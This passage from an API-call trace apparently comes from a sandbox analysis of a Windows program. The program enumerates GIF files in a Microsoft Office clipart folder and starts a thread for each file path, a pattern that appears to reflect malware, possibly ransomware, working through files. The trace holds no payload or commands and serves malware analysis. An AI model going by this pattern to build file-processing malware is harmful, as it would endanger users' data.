ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0055.661] wcscmp (_String1="AG00038_.GIF", _String2=".") returned 1 [0055.661] wcscmp (_String1="AG00038_.GIF", _String2="..") returned 1 [0055.661] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f8cc8 [0055.661] wcscpy (in: _Dest=0x96f8cc8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.661] wcscat (in: _Dest=0x96f8cc8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.661] wcscat (in: _Dest=0x96f8cc8, _Source="AG00038_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" [0055.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8cc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24 [0055.662] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0055.662] wcscmp (_String1="AG00040_.GIF", _String2=".") returned 1 [0055.662] wcscmp (_String1="AG00040_.GIF", _String2="..") returned 1 [0055.662] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f8c40 [0055.662] wcscpy (in: _Dest=0x96f8c40, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.662] wcscat (in: _Dest=0x96f8c40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.662] wcscat (in: _Dest=0x96f8c40, _Source="AG00040_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" [0055.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c [0055.663] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0055.663] wcscmp (_String1="AG00052_.GIF", _String2=".") returned 1 [0055.663] wcscmp (_String1="AG00052_.GIF", _String2="..") returned 1 [0055.663] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f8bb8 [0055.663] wcscpy (in: _Dest=0x96f8bb8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.663] wcscat (in: _Dest=0x96f8bb8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.664] wcscat (in: _Dest=0x96f8bb8, _Source="AG00052_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" [0055.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8bb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18 [0055.665] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0055.665] wcscmp (_String1="AG00057_.GIF", _String2=".") returned 1 [0055.665] wcscmp (_String1="AG00057_.GIF", _String2="..") returned 1 [0055.665] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f8b30 [0055.665] wcscpy (in: _Dest=0x96f8b30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.665] wcscat (in: _Dest=0x96f8b30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.665] wcscat (in: _Dest=0x96f8b30, _Source="AG00057_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" [0055.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0055.666] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0055.666] wcscmp (_String1="AG00090_.GIF", _String2=".") returned 1 [0055.666] wcscmp (_String1="AG00090_.GIF", _String2="..") returned 1 [0055.667] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f8dd8 [0055.667] wcscpy (in: _Dest=0x96f8dd8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.667] wcscat (in: _Dest=0x96f8dd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.667] wcscat (in: _Dest=0x96f8dd8, _Source="AG00090_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" [0055.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8dd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14 [0055.668] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0055.668] wcscmp (_String1="AG00092_.GIF", _String2=".") returned 1 [0055.668] wcscmp (_String1="AG00092_.GIF", _String2="..") returned 1 [0055.668] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f8e60 [0055.668] wcscpy (in: _Dest=0x96f8e60, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.668] wcscat (in: _Dest=0x96f8e60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.668] wcscat (in: _Dest=0x96f8e60, _Source="AG00092_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" [0055.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10 [0055.669] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0055.669] wcscmp (_String1="AG00103_.GIF", _String2=".") returned 1 [0055.669] wcscmp (_String1="AG00103_.GIF", _String2="..") returned 1 [0055.669] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f8ee8 [0055.669] wcscpy (in: _Dest=0x96f8ee8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.669] wcscat (in: _Dest=0x96f8ee8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.669] wcscat (in: _Dest=0x96f8ee8, _Source="AG00103_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" [0055.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c [0055.670] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0055.671] wcscmp (_String1="AG00120_.GIF", _String2=".") returned 1 [0055.671] wcscmp (_String1="AG00120_.GIF", _String2="..") returned 1 [0055.671] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f8f70 [0055.671] wcscpy (in: _Dest=0x96f8f70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.671] wcscat (in: _Dest=0x96f8f70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.671] wcscat (in: _Dest=0x96f8f70, _Source="AG00120_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" [0055.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0055.672] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0055.672] wcscmp (_String1="AG00126_.GIF", _String2=".") returned 1 [0055.672] wcscmp (_String1="AG00126_.GIF", _String2="..") returned 1 [0055.672] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f8ff8 [0055.672] wcscpy (in: _Dest=0x96f8ff8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.672] wcscat (in: _Dest=0x96f8ff8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.672] wcscat (in: _Dest=0x96f8ff8, _Source="AG00126_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" [0055.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0055.673] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0055.673] wcscmp (_String1="AG00129_.GIF", _String2=".") returned 1 [0055.673] wcscmp (_String1="AG00129_.GIF", _String2="..") returned 1 [0055.673] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f9080 [0055.673] wcscpy (in: _Dest=0x96f9080, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.673] wcscat (in: _Dest=0x96f9080, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.673] wcscat (in: _Dest=0x96f9080, _Source="AG00129_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" [0055.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8 [0055.674] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0055.675] wcscmp (_String1="AG00130_.GIF", _String2=".") returned 1 [0055.675] wcscmp (_String1="AG00130_.GIF", _String2="..") returned 1 [0055.675] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f9108 [0055.675] wcscpy (in: _Dest=0x96f9108, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.675] wcscat (in: _Dest=0x96f9108, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.675] wcscat (in: _Dest=0x96f9108, _Source="AG00130_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" [0055.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc [0055.676] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0055.676] wcscmp (_String1="AG00135_.GIF", _String2=".") returned 1 [0055.676] wcscmp (_String1="AG00135_.GIF", _String2="..") returned 1 [0055.676] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f9190 [0055.676] wcscpy (in: _Dest=0x96f9190, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.676] wcscat (in: _Dest=0x96f9190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.676] wcscat (in: _Dest=0x96f9190, _Source="AG00135_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" [0055.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0055.677] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0055.677] wcscmp (_String1="AG00139_.GIF", _String2=".") returned 1 [0055.677] wcscmp (_String1="AG00139_.GIF", _String2="..") returned 1 [0055.677] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f9218 [0055.677] wcscpy (in: _Dest=0x96f9218, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.677] wcscat (in: _Dest=0x96f9218, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.677] wcscat (in: _Dest=0x96f9218, _Source="AG00139_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" [0055.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8 [0055.678] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0055.678] wcscmp (_String1="AG00142_.GIF", _String2=".") returned 1 [0055.678] wcscmp (_String1="AG00142_.GIF", _String2="..") returned 1 [0055.679] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f92a0 [0055.679] wcscpy (in: _Dest=0x96f92a0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.679] wcscat (in: _Dest=0x96f92a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.679] wcscat (in: _Dest=0x96f92a0, _Source="AG00142_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" [0055.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f92a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0 [0055.680] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0055.680] wcscmp (_String1="AG00154_.GIF", _String2=".") returned 1 [0055.680] wcscmp (_String1="AG00154_.GIF", _String2="..") returned 1 [0055.680] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f9328 [0055.680] wcscpy (in: _Dest=0x96f9328, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.680] wcscat (in: _Dest=0x96f9328, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.680] wcscat (in: _Dest=0x96f9328, _Source="AG00154_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" [0055.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0055.681] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0055.681] wcscmp (_String1="AG00157_.GIF", _String2=".") returned 1 [0055.682] wcscmp (_String1="AG00157_.GIF", _String2="..") returned 1 [0055.682] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f93b0 [0055.682] wcscpy (in: _Dest=0x96f93b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.682] wcscat (in: _Dest=0x96f93b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.682] wcscat (in: _Dest=0x96f93b0, _Source="AG00157_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" [0055.682] 